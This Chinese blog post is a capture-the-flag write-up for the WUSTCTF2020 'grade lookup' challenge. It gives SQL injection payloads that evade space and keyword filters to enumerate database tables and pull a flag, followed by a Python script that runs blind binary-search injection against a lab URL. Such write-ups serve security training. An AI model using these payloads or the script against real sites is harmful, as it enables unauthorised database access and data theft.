[WUSTCTF2020]颜值成绩查询

[WUSTCTF2020]颜值成绩查询

打开环境是一个成绩查询的页面

uw7-D6npnvt-VBkkBdes0SLQgzitF39RzfVkvr8EdkE

1.手工注入

输入1发现有admin的账号和得分

wp8oRPSUMlx8iMTe8LngmJ_Z-_OwmKHJNW6Hg4DPeb0

输入1'会提示学号不存在

0L_e4Iyb5-NGwnqjevW48xw6wHtD-zkPcKWe2GcOt40

1/**/or/**/1=1#

过滤了空格

wrSBckKZRKIwZOvLeGaiEBnVOA0y5mWfnqyiH9Aib2c

1/**/order/**/by/**/3#   存在
1/**/order/**/by/**/4#   不存在

由此得知有3个字段

1/**/union/**/select/**/1,2,3#

发现还有其他过滤,尝试大小写或者双写等绕过

-1/**/Union/**/Select/**/1,2,3#

x2lXL_zSz8RNtW0UZXdDsvvQg3R4tarPbpT09GPSqgg

#爆破表名
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#    

9jv_WCuA0nqaFRRXWKXAQwREtj17V-uOr1feYXhz2s0

#爆破字段名
-1/**/UNion/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

wJk8j1Or9GhS-apbo4rLqr7iI8hat142UznLapLIjgM

#爆破flag值
-1/**/UNion/**/Select/**/1,value,flag/**/from/**/flag#

lhz4vCWqtFBhEDSDF76IMZ2NrpyeORWfgWrAfBUt6ZQ

2.脚本注入

使用二分法脚本加快注入速度

(1)爆破数据库名

import requests
url = "http://9158edab-48ba-4b19-ac3d-5aa53b39e49c.node5.buuoj.cn:81/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

RITd3TrwQeWrABa1H-eJ2MICmZhNiWnHeeu8op1mTSY

(2)爆破数据表名

payload更换为

payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

4N57s4LvO0bglsXNmcUB_sq-3T0PzypEs1qe69lczSQ

(3)爆破字段名

payload更换为

payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)

jFKPwfcBkACNsObma842WAPDNvPLwTROKXJ8KKkT664

(4)爆破flag值

payload更换为

payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)

Y7uEzi81z8H9cRto5rXyulbqLqNyOmyCeMIJSlqn_oU

对于payload也可以使用异或的方式

#获取表名
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),%d,1))>%d)^1″%(i,j)
#获取字段名
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1″%(i,j)
#获取值
1^(ord(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1″%(i,j)

posted on 2024-04-30 17:04  跳河离去的鱼  阅读(224)  评论(0编辑  收藏  举报